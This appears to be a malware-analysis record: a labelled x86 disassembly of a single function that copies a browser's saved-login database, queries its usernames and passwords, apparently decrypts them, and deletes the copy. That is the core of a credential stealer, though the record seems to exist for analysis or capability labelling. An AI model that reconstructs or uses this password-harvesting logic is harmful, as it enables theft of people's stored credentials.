Function at 0x402826
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f50
call fcn.00440560
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x342]
push ebx
push eax
mov esi, ecx
mov word [ebp - 0x344], bx
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x40288d
push 0x4415c4
lea edi, [ebp - 0x344]
call fcn.0040612a
pop ecx
push ebx
mov eax, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, edi
jmp 0x402894
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3ff
lea eax, [ebp - 0x743]
push ebx
push eax
mov byte [ebp - 0x744], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x744]
push eax
push esi
call fcn.00406a24
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x744]
push eax
mov dword [ebp - 0x10], ebx
call fcn.0043f1c1
add esp, 0x10
cmp dword [ebp - 0x10], ebx
je 0x402aea
lea eax, [ebp - 0xc]
push eax
push ebx
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 0x10]
push 0xffffffffffffffff
push str.SELECT_origin_url__action_url__username_element__username_value__password_element__password_value__signon_realm__date_created_from_logins
lea esi, [ebp - 8]
call fcn.00433616
mov edi, dword [ebp - 8]
add esp, 0x10
test edi, edi
je 0x402ae0
push edi
call fcn.0042052a
jmp 0x402ad1
push 0x1808
lea eax, [ebp - 0x1f4c]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor eax, eax
mov ecx, edi
call fcn.00420712
mov dword [ebp - 0x28], eax
xor eax, eax
inc eax
mov ecx, edi
call fcn.00420712
mov dword [ebp - 0x2c], eax
push 2
pop eax
mov ecx, edi
call fcn.00420712
mov dword [ebp - 0x24], eax
push 3
pop eax
mov ecx, edi
call fcn.00420712
mov dword [ebp - 0xc], eax
push 4
pop eax
mov ecx, edi
call fcn.00420712
mov dword [ebp - 0x30], eax
push 7
pop eax
mov esi, edi
call fcn.004206a1
mov ecx, eax
call fcn.0041dbe8
mov esi, eax
call fcn.004206f2
push esi
lea ebx, [ebp - 0x74c]
call fcn.004027b7
pop ecx
mov esi, 0x3ff
push esi
lea eax, [ebp - 0x1f4c]
push eax
push dword [ebp - 0x28]
call fcn.00406a59
add esp, 0xc
push esi
lea eax, [ebp - 0x174c]
push eax
push dword [ebp - 0x2c]
call fcn.00406a59
add esp, 0xc
mov ebx, 0xff
push ebx
lea eax, [ebp - 0xf4c]
push eax
push dword [ebp - 0x24]
call fcn.00406a59
add esp, 0xc
push ebx
lea eax, [ebp - 0xd4c]
push eax
push dword [ebp - 0x30]
call fcn.00406a59
add esp, 0xc
push ebx
lea eax, [ebp - 0xb4c]
push eax
push dword [ebp - 0xc]
call fcn.00406a59
mov edi, dword [ebp - 8]
add esp, 0xc
push 5
pop eax
mov esi, edi
call fcn.004206a1
mov esi, eax
call fcn.00420323
mov dword [ebp - 0xc], eax
call fcn.004206f2
push 5
pop eax
mov esi, edi
call fcn.004206a1
mov esi, eax
call fcn.0041e590
mov esi, eax
call fcn.004206f2
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push ecx
push ecx
lea eax, [ebp - 0x20]
push eax
mov eax, 0x44e63c
mov dword [ebp - 0x20], esi
call fcn.00403800
cmp dword [ebp - 0x14], 0
je 0x402ab8
mov esi, dword [ebp - 0x18]
lea eax, [ebx - 1]
cmp esi, eax
jbe 0x402a64
mov esi, eax
push ebx
lea eax, [ebp - 0x133]
push 0
push eax
mov byte [ebp - 0x134], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0x134]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
lea eax, [ebp - 0x94c]
push eax
lea eax, [ebp - 0x134]
push eax
mov byte [ebp + esi - 0x134], 0
call fcn.00406a59
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
lea edx, [ebp - 0x1f4c]
push edx
call dword [eax]
push dword [ebp - 8]
call fcn.0042052a
mov edi, dword [ebp - 8]
cmp eax, 0x64
pop ecx
je 0x40290e
call fcn.0042028c
mov eax, dword [ebp - 0x10]
call fcn.0043eb2c
xor ebx, ebx
cmp word [ebp - 0x344], bx
je 0x402b00
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret 4